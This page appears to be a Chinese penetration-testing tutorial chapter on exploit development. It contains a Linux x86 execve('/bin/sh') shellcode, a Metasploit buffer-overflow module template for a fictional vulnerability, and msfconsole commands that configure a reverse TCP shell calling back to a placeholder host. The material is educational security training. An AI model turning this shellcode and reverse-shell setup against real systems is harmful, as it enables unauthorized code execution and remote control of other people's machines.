主頁 > 後端開發 > [滲透測驗]—7.1 漏洞利用開發和Shellcode撰寫

[滲透測驗]—7.1 漏洞利用開發和Shellcode撰寫

2023-06-30 07:38:34 後端開發

在本章節中,我們將學習漏洞利用開發和Shellcode撰寫的基本概念和技巧,我們會盡量詳細、通俗易懂地講解,并提供盡可能多的實體,

7.1 漏洞利用開發

漏洞利用開發是滲透測驗中的高級技能,當你發現一個軟體或系統存在漏洞時,你需要撰寫一段代碼來利用這個漏洞,從而在目標系統上執行惡意代碼、獲取敏感資訊等,漏洞利用開發包括以下幾個步驟:

  1. 漏洞分析:分析目標軟體或系統的漏洞,了解其原因、影響范圍和可能的利用方法,
  2. 漏洞利用代碼撰寫:撰寫用于利用漏洞的代碼,通常包括Shellcode和利用框架(如Metasploit)的模塊,
  3. 測驗和優化:在實際環境中測驗漏洞利用代碼,根據測驗結果優化代碼以提高利用成功率,

7.2 Shellcode

Shellcode是一段用于在目標系統上執行惡意操作的機器代碼,它通常由匯編語言撰寫,以獲得較小的體積和較高的兼容性,Shellcode的主要特點如下:

  • 較小的體積:為了避免觸發防御機制(如堆疊保護),Shellcode通常需要具有較小的體積,
  • 無特定字符:Shellcode中不能包含某些特定字符,如空字符(0x00),因為這些字符可能導致漏洞利用失敗,
  • 可移植性:Shellcode需要能在不同的系統和架構下運行,因此通常使用匯編語言撰寫,

7.3 開發簡單的Shellcode

以下是一個簡單的Shellcode示例,用于在Linux x86系統上執行/bin/sh以獲取Shell,這個Shellcode使用了execve系統呼叫(0x80),

; Filename: execve_bin_sh.nasm
; Author:  Your Name
;
; Purpose: Executes /bin/sh on a Linux x86 system.

global _start

section .text

_start:

    ; Push the null-terminated string '//bin/sh' (8 bytes) onto the stack.
    xor eax, eax            ; zero out eax register
    push eax                ; push null byte onto the stack
    push 0x68732f2f         ; push '//sh' onto the stack
    push 0x6e69622f         ; push '/bin' onto the stack

    ; Set up the execve() system call.
    mov ebx, esp            ; ebx now points to the string '//bin/sh'
    mov ecx, eax            ; ecx = 0 (NULL pointer for argv)
    mov edx, eax            ; edx = 0 (NULL pointer for envp)
    mov al, 11              ; execve() syscall number (11)
    int 0x80                ; trigger the syscall

要編譯這個Shellcode,你可以使用nasm匯編器,然后使用objdump將其轉換為二進制格式:

nasm -f elf32 execve_bin_sh.nasm -o execve_bin_sh.o
ld -m elf_i386 -o execve_bin_sh execve_bin_sh.o
objdump -M intel -d execve_bin_sh

編譯后的Shellcode可以作為漏洞利用代碼的一部分,用于在目標系統上執行惡意操作,

7.4 使用Metasploit框架開發漏洞利用模塊

Metasploit是一個功能強大的滲透測驗框架,可以用于開發和執行漏洞利用代碼,Metasploit模塊使用Ruby撰寫,可以方便地與其他模塊和功能集成,以下是一個簡單的Metasploit模塊示例,用于演示如何利用一個虛構的漏洞,

# Filename: example_exploit.rb
# Author: Your Name
#
# Description: Example exploit module for a fictional vulnerability.

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Fictional Vulnerability Exploit',
      'Description'    => %q{
        This module exploits a fictional buffer overflow vulnerability.
      },
      'Author'         => [ 'Your Name' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '0000-0000' ],
          [ 'URL', 'http://www.example.com/vulnerability' ],
        ],
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => "\x00",
        },
      'Platform'       => 'linux',
      'Targets'        =>
        [
          [ 'Linux x86',
            {
              'Arch' => ARCH_X86,
              'Ret'  => 0x41414141,  # Replace this with the actual return address.
            }
          ],
        ],
      'DisclosureDate' => 'Jun 27 2023',
      'DefaultTarget'  => 0))
  end

  def exploit
    connect

    # Construct the buffer overflow payload.
    buf = ''
    buf << rand_text_alpha(256)  # Padding
    buf << [target.ret].pack('V')  # Return address
    buf << payload.encoded        # Shellcode

    # Send the payload to the target.
    print_status('Sending payload...')
    sock.put(buf)
    handler
    disconnect
  end
end

要使用這個Metasploit模塊,你需要將其保存為example_exploit.rb,然后將其放入Metasploit的模塊目錄(例如~/.msf4/modules/exploits/),之后,你可以在Metasploit控制臺中使用use命令加載這個模塊,并使用set命令配置模塊選項,

msfconsole
use exploit/example_exploit
set RHOST target_ip
set RPORT target_port
set PAYLOAD linux/x86/shell_reverse_tcp
set LHOST your_ip
set LPORT your_port
exploit

這個模塊只是一個簡單的示例,用于說明如何撰寫Metasploit漏洞利用模塊,實際開發程序中,你需要根據具體的漏洞和目標環境來撰寫相應的代碼,

7.5 總結

本章節講解了漏洞利用開發和Shellcode撰寫的基本概念和技巧,我們通過一個簡單的Shellcode示例和一個Metasploit模塊示例來演示了如何撰寫漏洞利用代碼,當然,實際漏洞利用開發程序會更加復雜,需要你不斷學習和實踐,希望這個章節能為你提供一個良好的起點,幫助你掌握高級滲透測驗技術,
推薦閱讀:

https://mp.weixin.qq.com/s/dV2JzXfgjDdCmWRmE0glDA

https://mp.weixin.qq.com/s/an83QZOWXHqll3SGPYTL5g

file

轉載請註明出處,本文鏈接:https://www.uj5u.com/houduan/556300.html

標籤:其他

上一篇:2023新版網盤云存盤系統網站PHP原始碼 支持轉存+限速 可穩定運營級

下一篇:返回列表

標籤雲
其他(161841) Python(38266) JavaScript(25516) Java(18284) C(15238) 區塊鏈(8273) C#(7972) AI(7469) 爪哇(7425) MySQL(7273) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5876) 数组(5741) R(5409) Linux(5347) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4609) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2438) ASP.NET(2404) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) .NET技术(1985) HtmlCss(1976) 功能(1967) Web開發(1951) C++(1942) python-3.x(1918) 弹簧靴(1913) xml(1889) PostgreSQL(1881) .NETCore(1863) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 【C++】Microsoft C++、C 和匯編程式檔案

    ......

    uj5u.com 2020-09-10 00:57:23 more
  • 例外宣告

    相比于斷言適用于排除邏輯上不可能存在的狀態,例外通常是用于邏輯上可能發生的錯誤。 例外宣告 Item 1:當函式不可能拋出例外或不能接受拋出例外時,使用noexcept 理由 如果不打算拋出例外的話,程式就會認為無法處理這種錯誤,并且應當盡早終止,如此可以有效地阻止例外的傳播與擴散。 示例 //不可 ......

    uj5u.com 2020-09-10 00:57:27 more
  • Codeforces 1400E Clear the Multiset(貪心 + 分治)

    鏈接:https://codeforces.com/problemset/problem/1400/E 來源:Codeforces 思路:給你一個陣列,現在你可以進行兩種操作,操作1:將一段沒有 0 的區間進行減一的操作,操作2:將 i 位置上的元素歸零。最終問:將這個陣列的全部元素歸零后操作的最少 ......

    uj5u.com 2020-09-10 00:57:30 more
  • UVA11610 【Reverse Prime】

    本人看到此題沒有翻譯,就附帶了一個自己的翻譯版本 思考 這一題,它的第一個要求是找出所有 $7$ 位反向質數及其質因數的個數。 我們應該需要質數篩篩選1~$10^{7}$的所有數,這里就不慢慢介紹了。但是,重讀題,我們突然發現反向質數都是 $7$ 位,而將它反過來后的數字卻是 $6$ 位數,這就說明 ......

    uj5u.com 2020-09-10 00:57:36 more
  • 統計區間素數數量

    1 #pragma GCC optimize(2) 2 #include <bits/stdc++.h> 3 using namespace std; 4 bool isprime[1000000010]; 5 vector<int> prime; 6 inline int getlist(int ......

    uj5u.com 2020-09-10 00:57:47 more
  • C/C++編程筆記:C++中的 const 變數詳解,教你正確認識const用法

    1、C中的const 1、區域const變數存放在堆疊區中,會分配記憶體(也就是說可以通過地址間接修改變數的值)。測驗代碼如下: 運行結果: 2、全域const變數存放在只讀資料段(不能通過地址修改,會發生寫入錯誤), 默認為外部聯編,可以給其他源檔案使用(需要用extern關鍵字修飾) 運行結果: ......

    uj5u.com 2020-09-10 00:58:04 more
  • 【C++犯錯記錄】VS2019 MFC添加資源不懂如何修改資源宏ID

    1. 首先在資源視圖中,添加資源 2. 點擊新添加的資源,復制自動生成的ID 3. 在解決方案資源管理器中找到Resource.h檔案,編輯,使用整個專案搜索和替換的方式快速替換 宏宣告 4. Ctrl+Shift+F 全域搜索,點擊查找全部,然后逐個替換 5. 為什么使用搜索替換而不使用屬性視窗直 ......

    uj5u.com 2020-09-10 00:59:11 more
  • 【C++犯錯記錄】VS2019 MFC不懂的批量添加資源

    1. 打開資源頭檔案Resource.h,在其中預先定義好宏 ID(不清楚其實ID值應該設定多少,可以先新建一個相同的資源項,再在這個資源的ID值的基礎上遞增即可) 2. 在資源視圖中選中專案資源,按F7編輯資源檔案,按 ID 型別 相對路徑的形式添加 資源。(別忘了先把檔案拷貝到專案中的res檔案 ......

    uj5u.com 2020-09-10 01:00:19 more
  • C/C++編程筆記:關于C++的參考型別,專供新手入門使用

    今天要講的是C++中我最喜歡的一個用法——參考,也叫別名。 參考就是給一個變數名取一個變數名,方便我們間接地使用這個變數。我們可以給一個變數創建N個參考,這N + 1個變數共享了同一塊記憶體區域。(參考型別的變數會占用記憶體空間,占用的記憶體空間的大小和指標型別的大小是相同的。雖然參考是一個物件的別名,但 ......

    uj5u.com 2020-09-10 01:00:22 more
  • 【C/C++編程筆記】從頭開始學習C ++:初學者完整指南

    眾所周知,C ++的學習曲線陡峭,但是花時間學習這種語言將為您的職業帶來奇跡,并使您與其他開發人員區分開。您會更輕松地學習新語言,形成真正的解決問題的技能,并在編程的基礎上打下堅實的基礎。 C ++將幫助您養成良好的編程習慣(即清晰一致的編碼風格,在撰寫代碼時注釋代碼,并限制類內部的可見性),并且由 ......

    uj5u.com 2020-09-10 01:00:41 more
最新发布
  • [滲透測驗]—7.1 漏洞利用開發和Shellcode撰寫

    在本章節中,我們將學習漏洞利用開發和Shellcode撰寫的基本概念和技巧。我們會盡量詳細、通俗易懂地講解,并提供盡可能多的實體。 ### 7.1 漏洞利用開發 漏洞利用開發是滲透測驗中的高級技能。當你發現一個軟體或系統存在漏洞時,你需要撰寫一段代碼來利用這個漏洞,從而在目標系統上執行惡意代碼、獲取 ......

    uj5u.com 2023-06-30 07:38:34 more
  • 2023新版網盤云存盤系統網站PHP原始碼 支持轉存+限速 可穩定運營

    新運營級限速網盤系統網站原始碼是一款非常實用的系統,可以幫助您打造一個安全可靠的網盤分享平臺。該系統支持用戶使用微信掃碼登錄,上傳檔案分享鏈接可自定義,檔案可一鍵保存到我的網盤。此外,該系統還支持微信和支付寶官方介面,易支付介面不強制且可自定義。 需要注意的是,為了保障您的安全,搭建好系統后請盡快在后 ......

    uj5u.com 2023-06-30 07:38:25 more
  • JSP

    # JSP ## 什么是JSP? Java Server pages:java服務器端頁面,和Servlet一樣,用于動態web技術 最大的特點: - 寫jsp就像在寫HTML - 區別: - HTML只能提供靜態資料, - JSP頁面可以嵌入java代碼,為用戶提供動態資料 ## JSP原理 瀏覽 ......

    uj5u.com 2023-06-30 07:38:06 more
  • 【numpy基礎】--陣列過濾

    在`numpy`中,陣列可以看作是一系列數值的有序集合,可以通過下標訪問其中的元素。處理陣列的程序中,經常需要用到陣列過濾功能。 過濾功能可以在處理資料時非常有用,因為它可以使資料更加干凈和可讀性更強。例如,在進行資料分析時,通常需要去除例外值,過濾掉不必要的元素可以使資料更加易于分析和處理。 `n ......

    uj5u.com 2023-06-30 07:37:21 more
  • celery筆記九之task運行結果查看

    > 本文首發于公眾號:Hunter后端 > 原文鏈接:[celery筆記九之task運行結果查看](https://mp.weixin.qq.com/s/QabEFiXgEOtFCI_kX-yuIg) 這一篇筆記介紹一下 celery 的 task 運行之后結果的查看。 前面我們使用的配置是這樣的: ......

    uj5u.com 2023-06-30 07:37:14 more
  • 【python爬蟲案例】用python爬豆瓣音樂TOP250排行榜!

    [toc] # 一、爬蟲物件-豆瓣音樂TOP250 今天我們分享一期python爬蟲案例講解。爬取物件是,豆瓣音樂TOP250排行榜資料:https://music.douban.com/top250 ?![豆瓣音樂TOP250頁面](https://img2023.cnblogs.com/blog ......

    uj5u.com 2023-06-30 07:36:50 more
  • 解決pandas的concat函式導致索引失效的方法

    # concat 最近在寫資料的時候看到用一個concat函式進行整合,但是下面這段代碼之后就碰上個很奇怪的地方 ```python for i, bag in enumerate(bags): coure_result = func() core_df = pd.DataFrame([core_r ......

    uj5u.com 2023-06-30 07:36:38 more
  • 【python爬蟲案例】用python爬豆瓣電影TOP250排行榜!

    [toc] # 一、爬蟲物件-豆瓣電影TOP250 前幾天,我分享了一個python爬蟲案例,爬取豆瓣讀書TOP250資料:[【python爬蟲案例】用python爬豆瓣讀書TOP250排行榜! ](https://www.cnblogs.com/mashukui/p/17514196.html) ......

    uj5u.com 2023-06-30 07:36:23 more
  • Python Flask - 快速構建Web應用詳解

    本文將詳細探討Python Flask Web服務。我將首先簡單介紹Flask,然后將逐步進入Flask中的路由、模板、表單處理以及資料庫集成等高級概念,目標是能夠讓大家了解并掌握使用Flask來創建動態Web應用的技巧。 ## 1. Flask簡介 Flask是一個輕量級的Web服務器網關介面(W ......

    uj5u.com 2023-06-30 07:36:16 more
  • 【python爬蟲案例】用python爬豆瓣讀書TOP250排行榜!

    [toc] # 一、爬蟲物件-豆瓣讀書TOP250 今天我們分享一期python爬蟲案例講解。爬取物件是,豆瓣讀書TOP250排行榜資料: https://book.douban.com/top250 ?![豆瓣網頁](https://img2023.cnblogs.com/blog/2864563 ......

    uj5u.com 2023-06-30 07:36:08 more